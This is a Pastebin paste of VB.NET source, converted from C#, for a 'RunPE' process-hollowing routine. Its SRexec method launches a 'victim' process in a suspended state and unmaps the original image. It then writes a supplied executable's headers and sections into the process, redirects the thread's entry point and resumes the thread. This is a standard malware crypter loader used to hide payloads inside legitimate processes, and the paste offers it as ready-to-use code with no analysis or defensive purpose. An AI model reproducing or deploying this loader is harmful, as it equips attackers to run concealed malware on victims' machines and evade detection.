Guest User

RunPE (C# to VB.NET)

a guest
Jun 30th, 2010
820
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.87 KB | None | 0 0
  1. Imports Microsoft.VisualBasic
  2. Imports System.Runtime.InteropServices
  3. Imports System.Text
  4. Imports System
  5.  
  6. Namespace dependency
  7. Friend Class AB
  8. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure STARTUPINFO
  9. Public cb As Integer
  10. Public lpReserved As String
  11. Public lpDesktop As String
  12. Public lpTitle As String
  13. Public dwX As Integer
  14. Public dwY As Integer
  15. Public dwXSize As Integer
  16. Public dwYSize As Integer
  17. Public dwXCountChars As Integer
  18. Public dwYCountChars As Integer
  19. Public dwFillAttribute As Integer
  20. Public dwFlags As Integer
  21. Public wShowWindow As Short
  22. Public cbReserved2 As Short
  23. Public lpReserved2 As Integer
  24. Public hStdInput As Integer
  25. Public hStdOutput As Integer
  26. Public hStdError As Integer
  27. End Structure
  28. Private Structure PROCESS_INFORMATION
  29. Public hProcess As IntPtr
  30. Public hThread As IntPtr
  31. Public dwProcessId As Integer
  32. Public dwThreadId As Integer
  33. End Structure
  34. <DllImport("kernel32.dll")> Private Shared Function ResumeThread(ByVal hThread As IntPtr) As UInteger
  35. End Function
  36. <DllImport("kernel32.dll")> Private Shared Function GetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
  37. End Function
  38. <DllImport("kernel32.dll")> Private Shared Function SetThreadContext(ByVal hThread As IntPtr, ByRef lpContext As CONTEXT) As Boolean
  39. End Function
  40. <DllImport("kernel32.dll")> Private Shared Function LoadLibraryA(ByVal lpLibFileName As String) As Integer
  41. End Function
  42. <DllImport("kernel32.dll")> Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Boolean
  43. End Function
  44. <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto, EntryPoint:="WriteProcessMemory", CallingConvention:=CallingConvention.StdCall)> Public Shared Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer() As Byte, ByVal iSize As Int64, ByRef lpNumberOfBytesWritten As Int64) As Boolean
  45. End Function
  46. <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto, EntryPoint:="WriteProcessMemory", CallingConvention:=CallingConvention.StdCall)> Public Shared Function WriteProcessMemoryI(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal iSize As Int64, ByRef lpNumberOfBytesWritten As Int64) As Boolean
  47. End Function
  48. <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory")> Public Shared Function ReadProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As Integer, ByRef lpbuffer As IntPtr, ByVal size As Integer, ByRef lpNumberOfBytesRead As Integer) As Int64
  49. End Function
  50. <DllImport("ntdll.dll")> Public Shared Function ZwUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal BaseAddress As IntPtr) As Long
  51. End Function
  52. <DllImport("kernel32.dll", SetLastError:=True, ExactSpelling:=True)> Public Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
  53. End Function
  54. <DllImport("kernel32", CharSet:=CharSet.Auto, SetLastError:=True)> Public Shared Function VirtualProtectEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UIntPtr, ByVal flNewProtect As UIntPtr, <Out()> ByVal lpflOldProtect As UInteger) As Integer
  55. End Function
  56. <StructLayout(LayoutKind.Sequential)> Private Structure IMAGE_DOS_HEADER
  57. Public e_magic As System.UInt16
  58. Public e_cblp As System.UInt16
  59. Public e_cp As System.UInt16
  60. Public e_crlc As System.UInt16
  61. Public e_cparhdr As System.UInt16
  62. Public e_minalloc As System.UInt16
  63. Public e_maxalloc As System.UInt16
  64. Public e_ss As System.UInt16
  65. Public e_sp As System.UInt16
  66. Public e_csum As System.UInt16
  67. Public e_ip As System.UInt16
  68. Public e_cs As System.UInt16
  69. Public e_lfarlc As System.UInt16
  70. Public e_ovno As System.UInt16
  71. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Public e_res1() As System.UInt16
  72. Public e_oemid As System.UInt16
  73. Public e_oeminfo As System.UInt16
  74. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Public e_res2() As System.UInt16
  75. Public e_lfanew As Integer
  76. End Structure
  77. <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_OPTIONAL_HEADER32
  78. Public Magic As System.UInt16
  79. Public MajorLinkerVersion As Byte
  80. Public MinorLinkerVersion As Byte
  81. Public SizeOfCode As UInteger
  82. Public SizeOfInitializedData As UInteger
  83. Public SizeOfUninitializedData As UInteger
  84. Public AddressOfEntryPoint As UInteger
  85. Public BaseOfCode As UInteger
  86. Public BaseOfData As UInteger
  87. Public ImageBase As UInteger
  88. Public SectionAlignment As UInteger
  89. Public FileAlignment As UInteger
  90. Public MajorOperatingSystemVersion As System.UInt16
  91. Public MinorOperatingSystemVersion As System.UInt16
  92. Public MajorImageVersion As System.UInt16
  93. Public MinorImageVersion As System.UInt16
  94. Public MajorSubsystemVersion As System.UInt16
  95. Public MinorSubsystemVersion As System.UInt16
  96. Public Win32VersionValue As UInteger
  97. Public SizeOfImage As UInteger
  98. Public SizeOfHeaders As UInteger
  99. Public CheckSum As UInteger
  100. Public Subsystem As System.UInt16
  101. Public DllCharacteristics As System.UInt16
  102. Public SizeOfStackReserve As UInteger
  103. Public SizeOfStackCommit As UInteger
  104. Public SizeOfHeapReserve As UInteger
  105. Public SizeOfHeapCommit As UInteger
  106. Public LoaderFlags As UInteger
  107. Public NumberOfRvaAndSizes As UInteger
  108. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory() As IMAGE_DATA_DIRECTORY
  109. End Structure
  110. <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_FILE_HEADER
  111. Public Machine As System.UInt16
  112. Public NumberOfSections As System.UInt16
  113. Public TimeDateStamp As UInteger
  114. Public PointerToSymbolTable As UInteger
  115. Public NumberOfSymbols As UInteger
  116. Public SizeOfOptionalHeader As System.UInt16
  117. Public Characteristics As System.UInt16
  118. End Structure
  119. <StructLayout(LayoutKind.Sequential)> Public Structure IMAGE_DATA_DIRECTORY
  120. Public VirtualAddress As UInteger
  121. Public Size As UInteger
  122. End Structure
  123. Public Structure IMAGE_NT_HEADERS
  124. Public Signature As UInteger
  125. Public FileHeader As IMAGE_FILE_HEADER
  126. Public OptionalHeader As IMAGE_OPTIONAL_HEADER32
  127. End Structure
  128. Public Structure IMAGE_SECTION_HEADER
  129. Public Name As System.Byte
  130. Public Misc As Misc
  131. Public VirtualAddress As UInteger
  132. Public SizeOfRawData As UInteger
  133. Public PointerToRawData As UInteger
  134. Public PointerToRelocations As UInteger
  135. Public PointerToLinenumbers As UInteger
  136. Public NumberOfRelocations As System.UInt16
  137. Public NumberOfLinenumbers As System.UInt16
  138. Public Characteristics As UInteger
  139. End Structure
  140. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Private Structure VS_VERSIONINFO
  141. Public wLength As System.UInt16
  142. Public wValueLength As System.UInt16
  143. Public wType As System.UInt16
  144. <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=15)> Public szKey As String
  145. Public Padding1 As System.UInt16
  146. End Structure
  147. <StructLayout(LayoutKind.Sequential)> Public Structure SECURITY_ATTRIBUTES
  148. Public nLength As Integer
  149. Public lpSecurityDescriptor As IntPtr
  150. Public bInheritHandle As Integer
  151. End Structure
  152. <StructLayout(LayoutKind.Sequential)> Private Structure VS_FIXEDFILEINFO
  153. Public dwSignature As UInteger
  154. Public dwStrucVersion As UInteger
  155. Public dwFileVersionMS As UInteger
  156. Public dwFileVersionLS As UInteger
  157. Public dwProductVersionMS As UInteger
  158. Public dwProductVersionLS As UInteger
  159. Public dwFileFlagsMask As UInteger
  160. Public dwFileFlags As UInteger
  161. Public dwFileOS As UInteger
  162. Public dwFileType As UInteger
  163. Public dwFileSubtype As UInteger
  164. Public dwFileDateMS As UInteger
  165. Public dwFileDateLS As UInteger
  166. End Structure
  167. <StructLayout(LayoutKind.Sequential)> Public Structure FLOATING_SAVE_AREA
  168. Public ControlWord As UInteger
  169. Public StatusWord As UInteger
  170. Public TagWord As UInteger
  171. Public ErrorOffset As UInteger
  172. Public ErrorSelector As UInteger
  173. Public DataOffset As UInteger
  174. Public DataSelector As UInteger
  175. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Public RegisterArea() As Byte
  176. Public Cr0NpxState As UInteger
  177. End Structure
  178. <StructLayout(LayoutKind.Sequential)> Public Structure CONTEXT
  179. Public ContextFlags As UInteger
  180. Public Dr0 As UInteger
  181. Public Dr1 As UInteger
  182. Public Dr2 As UInteger
  183. Public Dr3 As UInteger
  184. Public Dr6 As UInteger
  185. Public Dr7 As UInteger
  186. Public FloatSave As FLOATING_SAVE_AREA
  187. Public SegGs As UInteger
  188. Public SegFs As UInteger
  189. Public SegEs As UInteger
  190. Public SegDs As UInteger
  191. Public Edi As UInteger
  192. Public Esi As UInteger
  193. Public Ebx As UInteger
  194. Public Edx As UInteger
  195. Public Ecx As UInteger
  196. Public Eax As UInteger
  197. Public Ebp As UInteger
  198. Public Eip As UInteger
  199. Public SegCs As UInteger
  200. Public EFlags As UInteger
  201. Public Esp As UInteger
  202. Public SegSs As UInteger
  203. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Public ExtendedRegisters() As Byte
  204. End Structure
  205. Public Enum IMAGE_SIZEOF_SHORT_NAME
  206. IMAGE_SIZEOF_SHORT_NAME = 8
  207. End Enum
  208. Public Structure Misc
  209. Public PhysicalAddress As UInteger
  210. Public VirtualSize As UInteger
  211. End Structure
  212. Public Const CONTEXT_X86 As UInteger = &H10000
  213. Public Const CONTEXT86_CONTROL As UInteger = (CONTEXT_X86 Or &H1)
  214. Public Const CONTEXT86_INTEGER As UInteger = (CONTEXT_X86 Or &H2)
  215. Public Const CONTEXT86_SEGMENTS As UInteger = (CONTEXT_X86 Or &H4)
  216. Public Const CONTEXT86_FLOATING_POINT As UInteger = (CONTEXT_X86 Or &H8)
  217. Public Const CONTEXT86_DEBUG_REGISTERS As UInteger = (CONTEXT_X86 Or &H10)
  218. Public Const CONTEXT86_FULL As UInteger = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)
  219. Public Const CREATE_SUSPENDED As UInteger = &H4
  220. Public Const MEM_COMMIT As Long = &H1000L
  221. Public Const MEM_RESERVE As Long = &H2000L
  222. Public Const PAGE_NOCACHE As UInteger = &H200
  223. Public Const PAGE_EXECUTE_READWRITE As UInteger = &H40
  224. Public Const PAGE_EXECUTE_WRITECOPY As UInteger = &H80
  225. Public Const PAGE_EXECUTE_READ As UInteger = &H20
  226. Public Const PAGE_EXECUTE As UInteger = &H10
  227. Public Const PAGE_WRITECOPY As UInteger = &H8
  228. Public Const PAGE_NOACCESS As UInteger = &H1
  229. Public Const PAGE_READWRITE As UInteger = &H4
  230. Private Const GENERIC_READ As UInteger = &H80000000L
  231. Private Const FILE_SHARE_READ As UInteger = &H1
  232. Private Const OPEN_EXISTING As UInteger = 3
  233. Private Const FILE_ATTRIBUTE_NORMAL As UInteger = &H80
  234. Private Const INVALID_HANDLE_VALUE As Int64 = -1
  235. Private Const PAGE_READONLY As UInteger = &H2
  236. Private Const FILE_MAP_READ As UInteger = &H4
  237. Private Const IMAGE_DOS_SIGNATURE As UInteger = &H5A4D
  238. Private Const RT_VERSION As Int64 = 16
  239. Private Enum ImageSignatureTypes As UInteger
  240. IMAGE_DOS_SIGNATURE = &H5A4D
  241. IMAGE_OS2_SIGNATURE = &H454E
  242. IMAGE_OS2_SIGNATURE_LE = &H454C
  243. IMAGE_VXD_SIGNATURE = &H454C
  244. IMAGE_NT_SIGNATURE = &H4550
  245. End Enum
  246. Public Shared Sub SRexec(ByVal b() As Byte, ByVal sVictim As String)
  247. Dim sVersion As String = Nothing
  248. Dim pidh As IMAGE_DOS_HEADER = Nothing
  249. Dim context As New CONTEXT()
  250. Dim Pinh As IMAGE_NT_HEADERS = Nothing
  251. Dim Pish As IMAGE_SECTION_HEADER = Nothing
  252. Dim pi As New PROCESS_INFORMATION()
  253. Dim si As New STARTUPINFO()
  254. Dim pSec As New SECURITY_ATTRIBUTES()
  255. Dim tSec As New SECURITY_ATTRIBUTES()
  256. Dim MyGC As GCHandle = GCHandle.Alloc(b, GCHandleType.Pinned)
  257. Dim ptbuffer As Long = MyGC.AddrOfPinnedObject().ToInt64()
  258. pidh = CType(Marshal.PtrToStructure(MyGC.AddrOfPinnedObject(), pidh.GetType()), IMAGE_DOS_HEADER)
  259. MyGC.Free()
  260. If Not CreateProcess(Nothing, sVictim, pSec, tSec, False, &H4, New System.IntPtr(), Nothing, si, pi) Then
  261. Return
  262. End If
  263. Dim vt As Long = ptbuffer + pidh.e_lfanew
  264. Pinh = CType(Marshal.PtrToStructure(New IntPtr(vt), Pinh.GetType()), IMAGE_NT_HEADERS)
  265. Dim addr As New IntPtr()
  266. Dim lOffset As Long = 0
  267. Dim ret As Long = 0
  268. context.ContextFlags = CONTEXT86_INTEGER
  269. If Pinh.Signature <> CUInt(ImageSignatureTypes.IMAGE_NT_SIGNATURE) OrElse pidh.e_magic <> CUInt(ImageSignatureTypes.IMAGE_DOS_SIGNATURE) Then
  270. Return
  271. End If
  272. Dim lpNumberOfBytesRead As Integer = 0
  273. If GetThreadContext(pi.hThread, context) And ReadProcessMemory(pi.hProcess, CInt(Fix(context.Ebx)) + 8, addr, 4, lpNumberOfBytesRead) >= 0 And ZwUnmapViewOfSection(pi.hProcess, addr) >= 0 Then
  274. Dim ImageBase As Int64 = VirtualAllocEx(pi.hProcess, New IntPtr(Pinh.OptionalHeader.ImageBase), Pinh.OptionalHeader.SizeOfImage, CUInt(MEM_RESERVE Or MEM_COMMIT), CUInt(PAGE_READWRITE)).ToInt64()
  275. If ImageBase <> 0 Then
  276. WriteProcessMemory(pi.hProcess, New IntPtr(ImageBase), b, CLng(Fix(Pinh.OptionalHeader.SizeOfHeaders)), ret)
  277. lOffset = pidh.e_lfanew + 248
  278. For i As Integer = 0 To Pinh.FileHeader.NumberOfSections - 1
  279. Pish = CType(Marshal.PtrToStructure(New IntPtr(ptbuffer + lOffset + i * 40), Pish.GetType()), IMAGE_SECTION_HEADER)
  280. Dim braw(Pish.SizeOfRawData) As Byte
  281. For j As Integer = 0 To Pish.SizeOfRawData - 1
  282. braw(j) = b(Pish.PointerToRawData + j)
  283. Next j
  284. WriteProcessMemory(pi.hProcess, New IntPtr(ImageBase + Pish.VirtualAddress), braw, CInt(Fix(Pish.SizeOfRawData)), ret)
  285. VirtualProtectEx(pi.hProcess, New IntPtr(ImageBase + Pish.VirtualAddress), New UIntPtr(Pish.Misc.VirtualSize), New UIntPtr(CUInt(Protect(Pish.Characteristics))), CUInt(addr.ToInt64()))
  286. Next i
  287. Dim bb() As Byte = BitConverter.GetBytes(ImageBase)
  288. WriteProcessMemory(pi.hProcess, New IntPtr(context.Ebx + 8), bb, 4, ret)
  289. context.Eax = CUInt(ImageBase) + Pinh.OptionalHeader.AddressOfEntryPoint
  290. SetThreadContext(pi.hThread, context)
  291. ResumeThread(pi.hThread)
  292. End If
  293. End If
  294. End Sub
  295. Private Shared Function Protect(ByVal characteristics As Long) As Long
  296. Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
  297. Dim index As Long = RShift(characteristics, 29)
  298. Dim mappingS As String = mapping(index).ToString()
  299. Dim resultLong As Long = 0
  300. If Long.TryParse(mappingS, resultLong) Then
  301. Return resultLong
  302. End If
  303. Return 0
  304. End Function
  305. Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
  306. Dim result As Double = vbLongToULong(lValue) / (Math.Pow(2, lNumberOfBitsToShift))
  307. Return CLng(Fix(result))
  308. End Function
  309. Private Shared Function vbLongToULong(ByVal Value As Long) As Double
  310. Dim functionReturnValue As Double = 0
  311. Const OFFSET_4 As Double = 4294967296.0
  312. If Value < 0 Then
  313. functionReturnValue = Value + OFFSET_4
  314. Else
  315. functionReturnValue = Value
  316. End If
  317. Return functionReturnValue
  318. End Function
  319. End Class
  320. End Namespace
Advertisement
Add Comment
Please, Sign In to add comment